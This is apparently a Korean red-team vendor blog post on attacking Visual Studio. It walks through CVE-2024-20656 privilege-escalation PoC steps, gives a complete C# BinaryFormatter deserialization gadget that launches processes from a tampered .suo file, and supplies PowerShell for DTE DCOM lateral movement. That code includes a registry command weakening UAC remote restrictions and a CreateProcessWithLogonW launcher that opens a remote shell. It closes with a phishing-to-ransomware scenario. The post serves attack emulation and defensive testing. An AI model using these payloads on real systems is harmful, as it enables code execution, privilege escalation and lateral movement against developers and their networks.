Visual Studio Under Attack: Uncovering and Exploiting Vulnerabilities
2024, Mar 08  
RedBlue팀

logo

Instruction

본 게시글에서는 Visual Studio 최신 릴리즈를 대상으로 공개된 1-day 취약점과 이와 관련하여 공격자가 악용 가능한 내부 오브젝트들에 대해 소개합니다.

SOMMA의 사이버 위협 에뮬레이터 Cheiron은 소개된 Technique들로 구성된 Visual Studio Developer 시나리오를 사용하여 기업의 인프라 보안을 효율적으로 점검할 수 있습니다.


Visual Studio Vulnerability

1. CVE-2024-20656

2024년 1월 9일 보안패치된 취약점 CVE-2024-20656은 Filip Dragović가 보고한 취약점입니다.
Visual Studio를 구성하는 VSStandardCollectorService150 서비스는 undocumented 서비스로 Visual Studio 성능 데이터 수집을 위한 서비스로 알려져있습니다. 애플리케이션을 실행, 디버깅 등 할 때 데이터를 수집하여 분석해주는 서비스로 NT\System 권한으로 로그 작업 등을 수행합니다. 해당 서비스를 사용하는 VSDiagnostic 진단 도구에서 로그 관련 Report 파일을 처리할 때 특정 경로로 작업된 임시파일이 이동되는데 해당 과정에서 SetNamedSecurityInfoW API를 통한 DACL 재설정이 수행됩니다. 이를 Junction 생성을 통해 악용한다면 권한이 필요한 특정 경로의 파일(본 연구에서는 %ProgramData% 한정)에 대해 쓰기작업을 수행할 수 있습니다.
해당 서비스는 디버깅 등의 작업 수행 시 다음과 같이 %TEMP%폴더에 로그파일, 디버깅 정보 등의 임시파일을 생성합니다.

StandardCollector.Service

생성된 scratch 폴더의 DACL 정보를 확인해보면 일반 사용자에게는 읽기 권한만 부여되어 있음을 확인할 수 있습니다.

cacls-scratch

또한 해당 폴더 내 존재하는 lock 파일은 File handle이 close 되는 시점에 삭제되도록 설정되어 있습니다.

scratch-lock

상기 서비스는 VSDiagnostic 진단 도구를 통해 수동으로 트리거할 수 있습니다. 진단 도구 실행 옵션은 다음과 같습니다.

start <sessionID> [/attach:<pid>[;<pid>;...]] [/launch:<executable> /launchArgs:<executableArgs>] [/loadAgent:<agentCLSID>;<agentName>[;<config>]] [/loadConfig:<configFile>] [/monitor] [/scratchLocation:<folderName>] [/package:[opt | dir]] [/symbolCachePath:<folderName>]
      Start a collection session
      
stop <sessionID> /output:<fileName>
      Stop a collection session
      
status <sessionID>
      Display the status of a collection session

start 명령의 scratchLocation 옵션을 통해 임시 파일 생성 경로를 지정할 수 있으며 stop 명령을 통해 진단 세션을 중단할 수 있습니다. 진단 세션을 중단하는 과정에서 성능 측정에 사용된 Report.{GUID}.diagsession 임시 파일이 scratchLocation 옵션에서 지정한 폴더로 Replace(SetRenameInformationfile) 되고 DACL 재설정(SetSecurityFile, Write DAC 부여)이 수행됩니다.

setsecurityfile

SetSecurityFile API는 더이상 사용되지 않으며 SetNamedSecurityInfoA로 변경되었으나 Procmon 이벤트는 SetSecurityFile로 표기됨

취약점은 stop 명령을 통해 세션을 중단하는 과정에서 실행되는 SetNamedSecurityInfoW API를 통해 발생합니다. scratchLocation 옵션을 통해 지정했던 폴더에 대해 Junction을 생성하면 DACL 재설정 과정을 Junction 폴더로 REPARSE(Redirection) 할 수 있습니다.

REPARSE
특정 파일이나 디렉토리의 경로나 행동을 다른 곳으로 리디렉션 하는 데 사용되는 메커니즘. 이는 일반적으로 디렉토리에 대한 심볼릭 링크, 접미사 볼륨 포인트, 마운트 포인트 등과 같은 고급 파일 시스템 기능을 구현할 때 사용된다. Process Monitor의 “REPARSE” 결과는 파일 시스템 작업이 해당 리디렉션 또는 리파싱 메커니즘을 통해 다른 위치로 이동되거나 처리되었음을 나타낸다. 이는 보통 파일이나 디렉토리가 심볼릭 링크를 통해 다른 위치로 가리키는 경우에 발생한다.

PoC는 다음과 같이 작성할 수 있습니다.

  1. 특정 폴더를 2개 생성하고 두번째 디렉토리가 첫번째 디렉토리를 가리키도록 Junction 처리합니다.
  2. 첫번째 디렉토리를 scratchLocation 옵션 설정하여 VSDiagnostic 진단 도구를 실행합니다.
  3. scratchLocation 옵션 설정한 디렉토리에 .scratch 디렉토리가 생성될 때를 트리거하여 Report.{GUID}.diagsession 파일을 RPC 디렉토리 경로(Global\GLOBALROOT\RPC Control)로 치환하고 %ProgramData% 디렉토리로 심볼릭 링크 처리합니다.
  4. 진단 세션을 중단하고 두번째 디렉토리(Junction)에 Report 파일이 생성될 때를 트리거하여 첫번째 디렉토리를 \RPC Control 폴더로 Junction 처리합니다.
  5. 심볼릭 링크 타겟 디렉토리만 %ProgramData%의 특정 하위 폴더로 변경하고 상기 로직을 재수행합니다.
  6. 부모 폴더로 이동하여 DACL이 재설정되는 로직에 의해 하위 폴더들이 설정된 DACL 값으로 상속처리됩니다.

다음과 같이 설정된 심볼릭 링크로 REPARSE 되는 것을 확인할 수 있습니다. Symbolic-link-reparse

재설정된 DACL을 확인해보면 다음과 같습니다.

programdata-dacl

재설정된 NT\SYSTEM 권한으로 바이너리를 실행하기 위해 MSI Repair 로직을 악용할 수 있습니다. Visual Studio 설치 시 포함되는 C:\ProgramData\Microsoft\VisualStudio\SetupWMI\MofCompiler.exe 바이너리는 WMI 기능과 연관된 바이너리로 MSI Installer 복구모드 실행 시 NT\SYSTEM 권한으로 복구를 수행합니다. 즉 C:\Windows\installer 폴더에 존재하는 Visual Studio Setup WMI Provider 관련 package를 통해 재설치를 수행하고 MofCompiler.exe 바이너리 재생성 시점을 트리거 하여 악성 바이너리로 교체하면 권한상승을 수행할 수 있습니다.

상기 Technique을 활용해 다음과 같이 에뮬레이션 할 수 있습니다.

CVE-2024-20656-poc


2. Malicious Modify .suo

.suo 파일은 Solution User Options의 약자로 Visual Studio 솔루션에 대한 옵션 정보들을 관리합니다. Visual Studio 솔루션 저장 시점에 다음 구조로 솔루션 폴더에 구성됩니다.

\\.vs\\[Solution Name]\\[VS Version]\\.suo

솔루션에 대한 옵션 정보는 사용자 지정 설정, 디버그 중단점 위치, 창 및 레이아웃 정보 등을 저장합니다. 솔루션 파일은 MS-CFB 구조로 이루어져 있으며 내부 특정 요소들은 MS-NRBF 구조로 구성됩니다. 주요 스트림 데이터들을 구성하기 위해 기본적으로 다음과 같은 Keys로 구성되어 있습니다.

Key
ProjInfoEx BookmarkState DebuggerWatches
DNLPDialogOpened HiddenSlnFolders ObjMgrContentsV8
UnloadedProjects VsToolboxService ClassViewContents
OutliningStateDir ProjExplorerState TaskListShortcuts
BackgroundLoadData DebuggerExceptions DebuggerFindSource
DebuggerFindSymbol MRU Solution Files UnloadedProjectsEx
DebuggerBreakpoints DebuggerMemoryWindows SolutionConfiguration
UnloadedProjectsDev14 SolutionControlOptions DocumentWindowPositions
ProjectTrustInformation VC Project Package 15.0 VCPkg_ActiveExtDeps_1.0
DebuggerBreakpointGroups WindowManager.WhenOpened DebuggerExtendedExceptions
DebuggerWinstoreAppMonitor ProjectsLoadInSolutionOpen WindowManager.PinnedFrames
SearchMostRecentQueriesList VCPkg_InstantiationArgs_3.0 ExternalFilesProjectContents
WindowManager.CustomTooltips SccProvider.Solution.LoadCount VCPkg_InstantiationArgSets_2.0
WindowManager.CustomGroupNames SccProvider.Solution.LastBranch VCPkg_SecurityIssueAnalysis_1.0

Visual Studio가 특정 솔루션을 열었을 경우 .suo 파일에 존재하는 모든 VSPackage를 열거합니다. 만일 VSPackage가 IVsPersistSolutionOpts 인터페이스를 구현했을 경우 LoadUserOptions 메소드 호출을 통해 .suo 파일의 모든 데이터를 로드합니다. 로드된 VSPackage에 Package Class에서 제공하는 OnLoadOptions가 오버라이딩 되어 있을 경우 해당 함수를 호출함으로써 본 섹션의 Technique이 실행될 수 있습니다.

Visual Studio에서 undocumented로 사용되는 VSCorePackage(Microsoft.VisualStudio.dll 구현)에서는 다음과 같이 OnLoadOptions를 구현합니다.

OnLoadOptions

name값 조건이 VsToolboxService로 일치할 경우 해당 클래스의 LoadOptions 메소드를 호출합니다. 구현 내용은 다음과 같습니다.

LoadOptions

BinaryReader와 BinaryFormatter를 생성하여 스트림에서 데이터를 읽고 역직렬화합니다. 먼저 카테고리 수를 읽은 후, 각 카테고리마다 카테고리 이름과 툴박스 항목 수를 읽습니다. 각 툴박스 항목에 대해 파일 경로 문자열을 읽고 ToolboxItemContainer 객체를 스트림에서 역직렬화합니다. 파일 경로가 존재하면 해당 경로를 역직렬화된 ToolboxItemContainer와 연결하고, 링크를 추적한 후 해당 카테고리의 필터링된 항목 목록에 ToolboxItemContainer를 추가합니다.

BinaryFormatter, NetDataContractSerializer, XmlSerializer등을 사용하여 특정 가젯에서 신뢰할 수 없는 소스를 역직렬화 할 경우 원격 코드를 실행할 수 있습니다. 역직렬화 페이로드 작성을 위해 다음과 같이 Comparison 델리게이트 사용 트릭(_invocationList 수정)을 통해 Process를 호출하는 페이로드를 작성할 수 있습니다.

Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(cmdFileName);
if (!string.IsNullOrEmpty(cmdArguments))
{
    set.Add(cmdArguments);
}
else
{
    set.Add("");
}
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
fmt.Serialize(stream, set);
string b64encoded = Convert.ToBase64String(stream.ToArray());
string payload_bf_json = @"[
    {
        'Id': 1,
        'Data': {
            '$type': 'SerializationHeaderRecord',
            'binaryFormatterMajorVersion': 1,
            'binaryFormatterMinorVersion': 0,
            'binaryHeaderEnum': 0,
            'topId': 1,
            'headerId': -1,
            'majorVersion': 1,
            'minorVersion': 0
        }
    }, {
        'Id': 2,
        'TypeName': 'ObjectWithMapTyped',
        'Data': {
            '$type': 'BinaryObjectWithMapTyped',
            'binaryHeaderEnum': 4,
            'objectId': 1,
            'name': 'System.Security.Claims.ClaimsPrincipal',
            'numMembers': 1,
            'memberNames': ['m_serializedClaimsIdentities'],
            'binaryTypeEnumA': [1],
            'typeInformationA': [null],
            'typeInformationB': [null],
            'memberAssemIds': [0],
            'assemId': 0
        }
    }, {
        'Id': 10,
        'TypeName': 'ObjectString',
        'Data': {
            '$type': 'BinaryObjectString',
            'objectId': 5,
            'value': '" + b64encoded + @"'
        }
    }, {
        'Id': 11,
        'TypeName': 'MessageEnd',
        'Data': {
            '$type': 'MessageEnd'
        }
    }
]";
MemoryStream ms = AdvancedBinaryFormatterParser.JsonToStream(payload_bf_json);
return ms.ToArray();

상기 역직렬화된 페이로드를 VsToolboxService CFB 구조 Stream에 삽입하여 suo 파일로 구현할 수 있습니다.

LoadOptions 메소드를 호출하는 유사 Package Class로는 WindowManagementPackage(Microsoft.VisualStudio.Platform.WindowManagement.dll)가 존재한다.

상기 Technique을 활용해 다음과 같이 에뮬레이션 할 수 있습니다.

suo-poc

suo 파일의 경우 솔루션이 저장되거나 종료되면 Overwrite 되며 VsToolboxService의 경우 기본 값으로 재설정 됩니다.

Microsoft는 이를 취약점으로 인정하고 있지 않으며 안전한 환경에서 솔루션을 실행할 수 있도록 지침을 제공하고 있습니다. 따라서 오픈소스 등의 Visual Studio 프로젝트를 다운로드 받을 경우 사용자 suo 파일이 별도 포함되어 있는지 필수로 확인해야 합니다.


3. Development Tools Environment(DTE)

Development Tools Environment(이하 DTE)는 Visual Studio에서 undocumented로 사용되는 COM Object입니다. 이름에서 유추할 수 있는 정보나 COM Object에 구성된 메소드들은 개발 도구 환경을 지원하고 Visual studio 확장 기능을 사용할 수 있도록 합니다. 해당 COM Object 정보는 다음과 같은 레지스트리 경로에 구성되어져 있습니다.

Computer\HKEY_CLASSES_ROOT\VisualStudio.DTE

Visual Studio 버전별로 CLSID(클래스 식별자)가 다르며 주요 버전에 대한 상세 정보는 다음과 같습니다.

Visual Studio DTE CLSID
2022  33ABD590-0400-4FEF-AF98-5F5A8A99CFC3
2019  2E1517DA-87BF-4443-984A-D2BF18F5A908

기존 DCOM Object를 활용한 Lateral Movement Technique과 동일하게 COM Object 구성 인스턴스를 상기 CLSID 값을 기반으로 생성합니다. DCOM 통신 같은 경우 기본적으로 RPC 통신을 기반으로 수행하며 135번 TCP Port를 사용합니다.

본 게시글의 Technique일 경우 devenv.exe 프로세스 대상으로 높은 자릿수(40000~60000)의 TCP Port 1개가 활성화되어 있어야 합니다.

Lateral Movement를 수행할 엔드포인트에 지정한 CLSID에 해당하는 COM Object가 존재할 경우 인스턴스 생성을 통해 구성 메서드를 호출할 수 있습니다. 관련 인스턴스는 생성 코드 예시는 다음과 같습니다.

$com = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("33ABD590-0400-4FEF-AF98-5F5A8A99CFC3","#{DST_IP_ADDR}"))

생성된 DTE 관련 DCOM Object의 경우 다음과 같은 메서드들로 구성되어 있습니다.

Name                   MemberType            Definition
----                   ----------            ----------
ExecuteCommand         Method                void ExecuteCommand (string, string)
GetObject              Method                IDispatch GetObject (string)
LaunchWizard           Method                wizardResult LaunchWizard (string, SAFEARRAY(Variant))
OpenFile               Method                Window OpenFile (string, string)
Quit                   Method                void Quit ()
SatelliteDllPath       Method                string SatelliteDllPath (string, string)
IsOpenFile             ParameterizedProperty bool IsOpenFile (string, string) {get}
Properties             ParameterizedProperty Properties Properties (string, string) {get}
ActiveDocument         Property              Document ActiveDocument () {get}
ActiveSolutionProjects Property              Variant ActiveSolutionProjects () {get}
ActiveWindow           Property              Window ActiveWindow () {get}
AddIns                 Property              AddIns AddIns () {get}
Application            Property              DTE Application () {get}
CommandBars            Property              IDispatch CommandBars () {get}
CommandLineArguments   Property              string CommandLineArguments () {get}
Commands               Property              Commands Commands () {get}
ContextAttributes      Property              ContextAttributes ContextAttributes () {get}
Debugger               Property              Debugger Debugger () {get}
DisplayMode            Property              vsDisplay DisplayMode () {get} {set}
Documents              Property              Documents Documents () {get}
DTE                    Property              DTE DTE () {get}
Edition                Property              string Edition () {get}
Events                 Property              Events Events () {get}
FileName               Property              string FileName () {get}
Find                   Property              Find Find () {get}
FullName               Property              string FullName () {get}
Globals                Property              Globals Globals () {get}
ItemOperations         Property              ItemOperations ItemOperations () {get}
LocaleID               Property              int LocaleID () {get}
Macros                 Property              Macros Macros () {get}
MacrosIDE              Property              DTE MacrosIDE () {get}
MainWindow             Property              Window MainWindow () {get}
Mode                   Property              vsIDEMode Mode () {get}
Name                   Property              string Name () {get}
ObjectExtenders        Property              ObjectExtenders ObjectExtenders () {get}
RegistryRoot           Property              string RegistryRoot () {get}
SelectedItems          Property              SelectedItems SelectedItems () {get}
Solution               Property              Solution Solution () {get}
SourceControl          Property              SourceControl SourceControl () {get}
StatusBar              Property              StatusBar StatusBar () {get}
SuppressUI             Property              bool SuppressUI () {get} {set}
UndoContext            Property              UndoContext UndoContext () {get}
UserControl            Property              bool UserControl () {get} {set}
Version                Property              string Version () {get}
WindowConfigurations   Property              WindowConfigurations WindowConfigurations () {get}
Windows                Property              Windows Windows () {get}

상기 메서드 중 ExecuteCommand 메서드를 통해 Tools.Shell 등의 Visual Studio Commands를 사용할 수 있습니다. 구성 명령어 예시는 다음과 같습니다.

$com.ExecuteCommand("Tools.Shell", "cmd.exe")

Domain Admin 환경이 아닐 경우 Lateral Movement를 수행할 엔드포인트의 유저 계정으로 프로세스를 실행해야 합니다. Windows 환경에서는 UAC 원격 제한 정책이 기본 활성화 되어 있기 때문에 다음과 같은 명령어로 LocalAccountTokenFilterPolicy 정책을 비활성화 해야 정상적인 원격 명령 수행이 가능합니다. 구성 명령어 예시는 다음과 같습니다.

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

LocalAccountTokenFilterPolicy 정책이 비활성화 되었다면 다음과 같이 CreateProcessWithLogonW API 사용을 통해 지정된 자격 증명의 보안 컨텍스트를 활용할 수 있습니다.

Runas는 Password 입력을 별도 스트림으로 입력받기 때문에 에뮬레이션 자동화 관점에서 사용되지 않음

function Start-ProcessAsUser {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $True, Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Domain,
        [Parameter(Mandatory = $True, Position = 1)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Username,
        [Parameter(Mandatory = $True, Position = 2)]
        [String]
        $Password,
        [Parameter(Mandatory = $True, Position = 3)]
        [String]
        $Cmd,
        [Parameter(Mandatory = $False)]
        [Switch]
        $NetOnly
    )
    $SystemModule = [Microsoft.Win32.IntranetZoneCredentialPolicy].Module
    $NativeMethods = $SystemModule.GetType('Microsoft.Win32.NativeMethods')
    $SafeNativeMethods = $SystemModule.GetType('Microsoft.Win32.SafeNativeMethods')
    $CreateProcessWithLogonW = $NativeMethods.GetMethod('CreateProcessWithLogonW', [Reflection.BindingFlags] 'NonPublic, Static')
    $LogonFlags = $NativeMethods.GetNestedType('LogonFlags', [Reflection.BindingFlags] 'NonPublic')
    $StartupInfo = $NativeMethods.GetNestedType('STARTUPINFO', [Reflection.BindingFlags] 'NonPublic')
    $ProcessInformation = $SafeNativeMethods.GetNestedType('PROCESS_INFORMATION', [Reflection.BindingFlags] 'NonPublic')
    $Flags = [Activator]::CreateInstance($LogonFlags)
    if($NetOnly) {
        $Flags.value__ = 2 # LOGON_NETCREDENTIALS_ONLY
    } else {
        $Flags.value__ = 0
    }
    $StartInfo = [Activator]::CreateInstance($StartupInfo)
    $ProcInfo = [Activator]::CreateInstance($ProcessInformation)
    $PasswordStr = ConvertTo-SecureString $Password -AsPlainText -Force
    $PasswordPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($PasswordStr)
    $StrBuilder = New-Object System.Text.StringBuilder
    $null = $StrBuilder.Append($Cmd)
    $Result = $CreateProcessWithLogonW.Invoke($null, @([String] $UserName,
                                             [String] $Domain,
                                             [IntPtr] $PasswordPtr,
                                             ($Flags -as $LogonFlags),     # LOGON_NETCREDENTIALS_ONLY
                                             $null,
                                             [Text.StringBuilder] $StrBuilder,
                                             0x08000000, # Don't display a window
                                             $null,
                                             $null,
                                             $StartInfo,
                                             $ProcInfo))
    if (-not $Result) {
        throw 'Unable to create process as user.'
    }
    Write-Verbose 'Process created successfully!'
}

Start-ProcessAsUser -Username '#{USERNAME}' -Password '#{PASSWORD}' -Cmd "powershell -Command & {[System.Activator]::CreateInstance([type]::GetTypeFromCLSID('33ABD590-0400-4FEF-AF98-5F5A8A99CFC3','#{DST_IP_ADDR}')).ExecuteCommand('Tools.Shell', 'cmd.exe')}" -Domain '#{DOMAIN}' -NetOnly

상기 Technique을 활용해 다음과 같이 에뮬레이션 할 수 있습니다.

dte-poc


test Visual Studio Developer Scenario

vsdev-flow

SOMMA의 Cheiron에서는 Visual Studio를 활용하는 IT 관련 인프라가 구축된 기업을 대상으로 자동화된 공격을 에뮬레이션 할 수 있도록 지원합니다. Cheiron에 구현된 Visual Studio Developer(이하 VSDev) 시나리오를 활용하면 Visual Studio 최신 릴리즈 버전(17.8.3)을 대상으로 공격을 수행하고 기업의 인프라 보안을 효율적으로 점검할 수 있습니다.

VSDev 시나리오는 Mitre ATT&CK Matrix 기반 11개의 Technique으로 구성되며 주요 Phase는 다음과 같습니다.

Phase Number Summary
Phase 1 기업의 Microsoft Teams Webhook URL이 노출되어 사내 특정 채널에 사회공학 기반 피싱 게시물이 업로드 됩니다. PR 담당자는 첨부된 링크를 통해 악성 압축파일을 다운로드 받고 실행합니다. 악성 압축파일은 Visual Studio 프로젝트로 구성되어 있으며 Visual Studio .suo 파일이 변조되어 공격자의 악성 스크립트가 프로젝트 로드 시점에 실행됩니다. 실행된 공격자의 악성 스크립트는 C2서버에서 정상 Debugging 프로세스를 가장한 악성코드를 다운로드 받고 실행합니다.
Phase 2 실행된 Debugging 악성코드는 레지스트리 변경을 통해 지속성을 유지하고 Chrome Password Manager를 복호화하여 저장된 자격 증명을 수집합니다. C2 통신을 통해 추가 악성코드를 드랍하고 CVE-2024-20656 취약점을 활용하여 NT\SYSTEM으로 권한 상승합니다. 권한 상승된 Debugging 악성 코드는 주요 시스템 정보 및 Mimikatz를 활용한 로그온 자격 증명 등을 수집합니다. 수집된 자격 증명을 기반으로 측면 이동을 수행하기 위해 수집한 정보들을 C2 서버로 유출합니다.
Phase 3 수집한 자격 증명 정보를 바탕으로 Visual Studio DTE 관련 COM Object를 악용하여 같은 네트워크 내 개발자 엔드포인트 환경으로 측면이동을 수행합니다. 개발자 엔드포인트 중요 데이터를 암호화 하기 위해 C2서버에서 Ryuk 랜섬웨어를 다운로드 받고 주요 확장자 파일들에 대해 암호화를 수행합니다. 이후 악성 행위를 은닉하기 위해 Powershell을 통해 이벤트 로그를 일괄 삭제합니다.

References

[1] https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/
[2] https://learn.microsoft.com/en-us/visualstudio/extensibility/internals/solution-user-options-dot-suo-file?view=vs-2022/
[3] https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/
[4] https://pentestlab.blog/2024/01/15/lateral-movement-visual-studio-dte/
[5] https://github.com/cjm00n/EvilSln
[6] https://github.com/moom825/visualstudio-suo-exploit

Copyright(Icon)

[1] https://visualstudio.microsoft.com/
[2] https://www.flaticon.com/kr/authors/surang
[3] https://www.flaticon.com/kr/authors/nawicon
[4] https://www.flaticon.com/kr/authors/Freepik